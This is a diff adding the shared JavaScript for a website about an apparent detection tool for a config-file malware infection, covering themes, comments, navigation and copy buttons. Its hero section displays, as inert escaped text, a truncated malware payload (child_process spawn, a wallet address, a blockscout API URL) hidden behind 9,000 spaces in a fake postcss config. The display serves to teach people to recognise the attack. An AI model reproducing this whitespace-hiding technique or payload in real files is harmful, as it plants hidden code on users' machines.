|
| 1 | +/* site.js — shared behaviour for every page. |
| 2 | + Kept dependency-free and defensive: each block no-ops when its markup is absent, |
| 3 | + so one file can serve pages that share only the nav and the footer. */ |
| 4 | +(function () { |
| 5 | + "use strict"; |
| 6 | + |
| 7 | + var reduce = window.matchMedia("(prefers-reduced-motion: reduce)").matches; |
| 8 | + |
| 9 | + /* ---------------------------------------------------------------- theme |
| 10 | + Honour the OS by default. A click pins an explicit choice, which the |
| 11 | + inline <head> snippet re-applies on the next page load before paint. */ |
| 12 | + var themeBtn = document.querySelector(".theme-toggle"); |
| 13 | + if (themeBtn) { |
| 14 | + themeBtn.addEventListener("click", function () { |
| 15 | + var root = document.documentElement; |
| 16 | + var systemDark = window.matchMedia("(prefers-color-scheme: dark)").matches; |
| 17 | + var isDark = root.dataset.theme ? root.dataset.theme === "dark" : systemDark; |
| 18 | + var next = isDark ? "light" : "dark"; |
| 19 | + root.dataset.theme = next; |
| 20 | + themeBtn.setAttribute("aria-label", next === "dark" ? "Switch to light theme" : "Switch to dark theme"); |
| 21 | + try { localStorage.setItem("snare-theme", next); } catch (e) { /* private mode */ } |
| 22 | + setGiscusTheme(next); |
| 23 | + }); |
| 24 | + } |
| 25 | + |
| 26 | + /* ------------------------------------------------------------------ giscus |
| 27 | + Comments are GitHub Discussions. The third-party script is injected only |
| 28 | + where a #giscus-mount exists — this is the single page that carries it, so |
| 29 | + no page with a copy-and-paste shell command runs foreign code. If it does |
| 30 | + not load, the fallback keeps a working link to the same thread. */ |
| 31 | + function currentTheme() { |
| 32 | + var pinned = document.documentElement.dataset.theme; |
| 33 | + if (pinned) return pinned; |
| 34 | + return window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; |
| 35 | + } |
| 36 | + |
| 37 | + function setGiscusTheme(theme) { |
| 38 | + var frame = document.querySelector("iframe.giscus-frame"); |
| 39 | + if (!frame || !frame.contentWindow) return; |
| 40 | + frame.contentWindow.postMessage( |
| 41 | + { giscus: { setConfig: { theme: theme } } }, |
| 42 | + "https://giscus.app" |
| 43 | + ); |
| 44 | + } |
| 45 | + |
| 46 | + var mount = document.getElementById("giscus-mount"); |
| 47 | + if (mount) { |
| 48 | + var fallback = document.getElementById("giscus-fallback"); |
| 49 | + var discussionsUrl = "https://github.com/" + mount.dataset.repo + "/discussions"; |
| 50 | + |
| 51 | + var errored = false; |
| 52 | + |
| 53 | + var failed = function (why) { |
| 54 | + errored = true; |
| 55 | + if (!fallback) return; |
| 56 | + fallback.innerHTML = "The comment widget did not load (" + why + "). The thread is on " + |
| 57 | + '<a href="' + discussionsUrl + '">GitHub Discussions</a> — nothing is lost.'; |
| 58 | + }; |
| 59 | + |
| 60 | + // once the widget is up and has not complained, the loading note is noise |
| 61 | + var settle = function () { |
| 62 | + if (errored || !fallback) return; |
| 63 | + if (mount.querySelector("iframe.giscus-frame")) fallback.hidden = true; |
| 64 | + }; |
| 65 | + |
| 66 | + var s = document.createElement("script"); |
| 67 | + s.src = "https://giscus.app/client.js"; |
| 68 | + s.async = true; |
| 69 | + s.crossOrigin = "anonymous"; |
| 70 | + s.setAttribute("data-repo", mount.dataset.repo); |
| 71 | + s.setAttribute("data-repo-id", mount.dataset.repoId); |
| 72 | + s.setAttribute("data-category", mount.dataset.category); |
| 73 | + s.setAttribute("data-category-id", mount.dataset.categoryId); |
| 74 | + s.setAttribute("data-mapping", "pathname"); |
| 75 | + s.setAttribute("data-strict", "1"); |
| 76 | + s.setAttribute("data-reactions-enabled", "1"); |
| 77 | + s.setAttribute("data-emit-metadata", "0"); |
| 78 | + s.setAttribute("data-input-position", "top"); |
| 79 | + s.setAttribute("data-theme", currentTheme()); |
| 80 | + s.setAttribute("data-lang", "en"); |
| 81 | + s.setAttribute("data-loading", "lazy"); |
| 82 | + s.onerror = function () { failed("blocked or offline"); }; |
| 83 | + mount.appendChild(s); |
| 84 | + |
| 85 | + // giscus reports its own problems (app not installed, discussions disabled) |
| 86 | + window.addEventListener("message", function (e) { |
| 87 | + if (e.origin !== "https://giscus.app") return; |
| 88 | + var d = e.data && e.data.giscus; |
| 89 | + if (d && d.error) failed(String(d.error)); |
| 90 | + }); |
| 91 | + |
| 92 | + // give giscus a moment to report a problem, then either clear the note or |
| 93 | + // say plainly that nothing arrived at all |
| 94 | + setTimeout(settle, 2500); |
| 95 | + setTimeout(function () { |
| 96 | + if (!mount.querySelector("iframe.giscus-frame")) failed("no response from giscus.app"); |
| 97 | + else settle(); |
| 98 | + }, 8000); |
| 99 | + } |
| 100 | + |
| 101 | + /* ------------------------------------------------------------ mobile nav |
| 102 | + The old site simply hid every link under 720px, leaving phones with no |
| 103 | + navigation at all. This is a real drawer: Escape closes it, focus returns |
| 104 | + to the button, and a resize past the breakpoint resets the state. */ |
| 105 | + var navToggle = document.querySelector(".nav-toggle"), |
| 106 | + navLinks = document.getElementById("nav-links"); |
| 107 | + |
| 108 | + if (navToggle && navLinks) { |
| 109 | + var setNav = function (open) { |
| 110 | + navLinks.dataset.open = String(open); |
| 111 | + navToggle.setAttribute("aria-expanded", String(open)); |
| 112 | + navToggle.setAttribute("aria-label", open ? "Close menu" : "Open menu"); |
| 113 | + }; |
| 114 | + |
| 115 | + setNav(false); |
| 116 | + |
| 117 | + navToggle.addEventListener("click", function () { |
| 118 | + setNav(navLinks.dataset.open !== "true"); |
| 119 | + }); |
| 120 | + |
| 121 | + navLinks.addEventListener("click", function (e) { |
| 122 | + if (e.target.closest("a")) setNav(false); |
| 123 | + }); |
| 124 | + |
| 125 | + document.addEventListener("keydown", function (e) { |
| 126 | + if (e.key === "Escape" && navLinks.dataset.open === "true") { |
| 127 | + setNav(false); |
| 128 | + navToggle.focus(); |
| 129 | + } |
| 130 | + }); |
| 131 | + |
| 132 | + document.addEventListener("click", function (e) { |
| 133 | + if (navLinks.dataset.open !== "true") return; |
| 134 | + if (!navLinks.contains(e.target) && !navToggle.contains(e.target)) setNav(false); |
| 135 | + }); |
| 136 | + |
| 137 | + window.addEventListener("resize", function () { |
| 138 | + if (window.innerWidth > 860 && navLinks.dataset.open === "true") setNav(false); |
| 139 | + }); |
| 140 | + } |
| 141 | + |
| 142 | + /* --------------------------------------------------- legacy hash redirect |
| 143 | + The site used to be one long page, so links like /snare/#infected are |
| 144 | + already published in GitHub issues, an X thread and a dev.to article. |
| 145 | + Those anchors now live on their own pages — forward them rather than |
| 146 | + dropping people at the top of the home page with no idea why. */ |
| 147 | + var MOVED = { |
| 148 | + "#detect": "check.html", |
| 149 | + "#install": "install.html", |
| 150 | + "#infected": "infected.html", |
| 151 | + "#commands": "commands.html", |
| 152 | + "#security": "security.html" |
| 153 | + }; |
| 154 | + if (document.body.dataset.page === "index" && MOVED[location.hash]) { |
| 155 | + location.replace(MOVED[location.hash]); |
| 156 | + return; // stop initialising a page we are leaving |
| 157 | + } |
| 158 | + |
| 159 | + /* ------------------------------------------------- hero whitespace reveal */ |
| 160 | + var code = document.getElementById("code"); |
| 161 | + if (code) { |
| 162 | + var GAP = 9000, |
| 163 | + LEADIN = "};", |
| 164 | + payload = "global.i=\"A8-…\";global.r=require;const http=require(\"http\"),{spawn}=require(\"child_process\"),S=\"0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a\".toLowerCase(),I=\"https://eth.blockscout.com/api\"… /* truncated */", |
| 165 | + lines = [["1", "module.exports = {"], ["2", " plugins: {"], ["3", " '@tailwindcss/postcss': {},"], ["4", " },"]], |
| 166 | + revealBtn = document.getElementById("reveal"), |
| 167 | + scroller = document.getElementById("scroller"), |
| 168 | + hint = document.getElementById("hint"), |
| 169 | + on = false; |
| 170 | + |
| 171 | + var esc = function (s) { |
| 172 | + return s.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); |
| 173 | + }; |
| 174 | + |
| 175 | + var render = function () { |
| 176 | + var h = ""; |
| 177 | + lines.forEach(function (l) { |
| 178 | + h += '<span class="gutter">' + l[0] + ' </span>' + esc(l[1]) + "\n"; |
| 179 | + }); |
| 180 | + var gap = new Array(GAP + 1).join(on ? "·" : " "); |
| 181 | + h += '<span class="gutter">5 </span>' + esc(LEADIN) |
| 182 | + + '<span class="' + (on ? "ws" : "hidden-ws") + '">' + gap + "</span>" |
| 183 | + + '<span class="payload">' + esc(payload) + "</span>\n" |
| 184 | + + '<span class="gutter">6 </span>'; |
| 185 | + code.innerHTML = h; |
| 186 | + }; |
| 187 | + |
| 188 | + if (revealBtn) { |
| 189 | + revealBtn.addEventListener("click", function () { |
| 190 | + on = !on; |
| 191 | + revealBtn.setAttribute("aria-pressed", String(on)); |
| 192 | + revealBtn.textContent = on ? "hide whitespace" : "reveal whitespace"; |
| 193 | + render(); |
| 194 | + if (on) { |
| 195 | + hint.textContent = "Every dot is one space the attacker used to push the payload off-screen."; |
| 196 | + scroller.scrollTo({ left: scroller.scrollWidth, behavior: reduce ? "auto" : "smooth" }); |
| 197 | + } else { |
| 198 | + hint.textContent = "Line 5 is 9,135 characters long. Scroll it sideways — or reveal the whitespace."; |
| 199 | + scroller.scrollTo({ left: 0, behavior: "auto" }); |
| 200 | + } |
| 201 | + }); |
| 202 | + } |
| 203 | + render(); |
| 204 | + } |
| 205 | + |
| 206 | + /* ------------------------------------------ copy buttons on code panels */ |
| 207 | + var ICON = '<svg viewBox="0 0 16 16" fill="none" stroke="currentColor" stroke-width="1.6" aria-hidden="true"><rect x="5.5" y="5.5" width="8" height="9" rx="1.5"/><path d="M10.5 3.5v-1a1 1 0 0 0-1-1h-6a1 1 0 0 0-1 1v8a1 1 0 0 0 1 1h1"/></svg>'; |
| 208 | + |
| 209 | + function copyText(text) { |
| 210 | + if (navigator.clipboard && window.isSecureContext) return navigator.clipboard.writeText(text); |
| 211 | + return new Promise(function (resolve, reject) { |
| 212 | + var ta = document.createElement("textarea"); |
| 213 | + ta.value = text; |
| 214 | + ta.setAttribute("readonly", ""); |
| 215 | + ta.style.cssText = "position:absolute;left:-9999px;top:0"; |
| 216 | + document.body.appendChild(ta); |
| 217 | + ta.select(); |
| 218 | + try { document.execCommand("copy") ? resolve() : reject(); } |
| 219 | + catch (e) { reject(e); } |
| 220 | + finally { document.body.removeChild(ta); } |
| 221 | + }); |
| 222 | + } |
| 223 | + |
| 224 | + document.querySelectorAll(".panel").forEach(function (panel) { |
| 225 | + var pre = panel.querySelector("pre"); |
| 226 | + if (!pre || pre.id === "code") return; // the hero specimen is not copyable code |
| 227 | + |
| 228 | + var bar = panel.querySelector(".panel-bar"); |
| 229 | + if (!bar) { |
| 230 | + bar = document.createElement("div"); |
| 231 | + bar.className = "panel-bar"; |
| 232 | + bar.innerHTML = '<span class="label">shell</span><div class="bar-actions"></div>'; |
| 233 | + panel.insertBefore(bar, panel.firstChild); |
| 234 | + } |
| 235 | + var actions = bar.querySelector(".bar-actions"); |
| 236 | + if (!actions) { |
| 237 | + actions = document.createElement("div"); |
| 238 | + actions.className = "bar-actions"; |
| 239 | + bar.appendChild(actions); |
| 240 | + } |
| 241 | + |
| 242 | + var b = document.createElement("button"); |
| 243 | + b.className = "btn"; |
| 244 | + b.type = "button"; |
| 245 | + b.innerHTML = ICON + "<span>copy</span>"; |
| 246 | + b.setAttribute("aria-label", "Copy this command"); |
| 247 | + b.addEventListener("click", function () { |
| 248 | + copyText(pre.innerText).then(function () { |
| 249 | + b.classList.add("done"); |
| 250 | + b.querySelector("span").textContent = "copied"; |
| 251 | + setTimeout(function () { |
| 252 | + b.classList.remove("done"); |
| 253 | + b.querySelector("span").textContent = "copy"; |
| 254 | + }, 1600); |
| 255 | + }).catch(function () { |
| 256 | + b.querySelector("span").textContent = "select all"; |
| 257 | + var r = document.createRange(); r.selectNodeContents(pre); |
| 258 | + var sel = window.getSelection(); sel.removeAllRanges(); sel.addRange(r); |
| 259 | + }); |
| 260 | + }); |
| 261 | + actions.appendChild(b); |
| 262 | + }); |
| 263 | + |
| 264 | + /* ---------------------------------------------------------- platform tabs |
| 265 | + Remembers the platform across pages — someone who picked Windows on the |
| 266 | + install page should not have to pick it again. */ |
| 267 | + var tabs = Array.prototype.slice.call(document.querySelectorAll(".tab")); |
| 268 | + if (tabs.length) { |
| 269 | + var panes = tabs.map(function (t) { return t.dataset.p; }); |
| 270 | + |
| 271 | + var selectTab = function (t, remember) { |
| 272 | + tabs.forEach(function (x) { |
| 273 | + var isOn = x === t; |
| 274 | + x.setAttribute("aria-selected", String(isOn)); |
| 275 | + x.tabIndex = isOn ? 0 : -1; |
| 276 | + }); |
| 277 | + panes.forEach(function (p) { |
| 278 | + var pane = document.getElementById("p-" + p); |
| 279 | + if (pane) pane.hidden = (p !== t.dataset.p); |
| 280 | + }); |
| 281 | + if (remember) { |
| 282 | + try { localStorage.setItem("snare-platform", t.dataset.p); } catch (e) { /* private mode */ } |
| 283 | + } |
| 284 | + }; |
| 285 | + |
| 286 | + tabs.forEach(function (t, i) { |
| 287 | + t.tabIndex = t.getAttribute("aria-selected") === "true" ? 0 : -1; |
| 288 | + t.addEventListener("click", function () { selectTab(t, true); }); |
| 289 | + t.addEventListener("keydown", function (e) { |
| 290 | + var d = e.key === "ArrowRight" ? 1 : e.key === "ArrowLeft" ? -1 : |
| 291 | + e.key === "Home" ? -i : e.key === "End" ? tabs.length - 1 - i : 0; |
| 292 | + if (!d) return; |
| 293 | + e.preventDefault(); |
| 294 | + var next = tabs[(i + d + tabs.length) % tabs.length]; |
| 295 | + selectTab(next, true); |
| 296 | + next.focus(); |
| 297 | + }); |
| 298 | + }); |
| 299 | + |
| 300 | + var saved = null; |
| 301 | + try { saved = localStorage.getItem("snare-platform"); } catch (e) { /* private mode */ } |
| 302 | + if (saved) { |
| 303 | + var match = tabs.filter(function (t) { return t.dataset.p === saved; })[0]; |
| 304 | + if (match) selectTab(match, false); |
| 305 | + } |
| 306 | + } |
| 307 | + |
| 308 | + /* -------------------------------------------------------------- scroll spy |
| 309 | + Highlights the sidebar entry for whatever section is currently in view. */ |
| 310 | + var tocLinks = Array.prototype.slice.call( |
| 311 | + document.querySelectorAll(".toc a[href^='#'], .jump a[href^='#']") |
| 312 | + ); |
| 313 | + if (tocLinks.length && "IntersectionObserver" in window) { |
| 314 | + var byId = {}; // one section id can be pointed at by both the sidebar and the chips |
| 315 | + var targets = []; |
| 316 | + tocLinks.forEach(function (a) { |
| 317 | + var el = document.getElementById(a.getAttribute("href").slice(1)); |
| 318 | + if (!el) return; |
| 319 | + if (!byId[el.id]) { byId[el.id] = []; targets.push(el); } |
| 320 | + byId[el.id].push(a); |
| 321 | + }); |
| 322 | + |
| 323 | + var jumpBar = document.querySelector(".jump"); |
| 324 | + var visible = {}; |
| 325 | + |
| 326 | + var highlight = function (current) { |
| 327 | + if (!current) return; |
| 328 | + tocLinks.forEach(function (a) { a.classList.remove("on"); }); |
| 329 | + byId[current.id].forEach(function (a) { |
| 330 | + a.classList.add("on"); |
| 331 | + // keep the active chip in view in the horizontally scrolling bar |
| 332 | + if (jumpBar && jumpBar.contains(a)) { |
| 333 | + var barBox = jumpBar.getBoundingClientRect(), chip = a.getBoundingClientRect(); |
| 334 | + if (chip.left < barBox.left || chip.right > barBox.right) { |
| 335 | + jumpBar.scrollTo({ |
| 336 | + left: jumpBar.scrollLeft + (chip.left - barBox.left) - 16, |
| 337 | + behavior: reduce ? "auto" : "smooth" |
| 338 | + }); |
| 339 | + } |
| 340 | + } |
| 341 | + }); |
| 342 | + }; |
| 343 | + |
| 344 | + var sync = function () { |
| 345 | + highlight(targets.filter(function (t) { return visible[t.id]; })[0]); |
| 346 | + }; |
| 347 | + |
| 348 | + // the observer only reports on change, so nothing is marked until the first |
| 349 | + // scroll — pick a starting section from geometry so the bar is never blank, |
| 350 | + // and so a deep link like docs.html#state lands already highlighted |
| 351 | + var pickByGeometry = function () { |
| 352 | + var line = 96, best = null; |
| 353 | + targets.forEach(function (t) { |
| 354 | + var r = t.getBoundingClientRect(); |
| 355 | + if (r.top <= line && r.bottom > line) best = t; |
| 356 | + }); |
| 357 | + return best || targets[0]; |
| 358 | + }; |
| 359 | + highlight(pickByGeometry()); |
| 360 | + |
| 361 | + var io = new IntersectionObserver(function (entries) { |
| 362 | + entries.forEach(function (e) { visible[e.target.id] = e.isIntersecting; }); |
| 363 | + sync(); |
| 364 | + }, { rootMargin: "-88px 0px -65% 0px", threshold: 0 }); |
| 365 | + |
| 366 | + targets.forEach(function (t) { io.observe(t); }); |
| 367 | + } |
| 368 | +})(); |
0 commit comments